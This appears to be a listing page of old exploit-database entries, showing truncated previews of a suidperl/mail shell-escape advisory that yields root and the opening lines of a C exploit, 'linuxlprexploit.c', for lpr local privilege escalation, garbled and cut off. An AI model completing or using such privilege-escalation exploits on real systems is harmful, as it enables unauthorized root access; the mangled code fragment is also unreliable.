SUIDPerl 5.00503 - Mail Shell Escape (2)

source: https://www.securityfocus.com/bid/1547/info The interaction between some security checks performed by suidperl, the setuid version of perl, and the /bin/mail program creates a scenario that allows local malicious users to execute commands with root privileges. The suidperl program perform...

BSD Linux - lpr Local Privilege Escalation

BSD Linux - lpr Local Privilege Escalation -------------------------------------- linuxlprexploit.c ---------- include include include define DEFAULTOFFSET 50 define BUFFERSIZE 1023 long getespvoid asm"movl %esp,%eax\n"; void main char buff = NULL; unsigned long addrptr = NULL; char ptr = NULL;...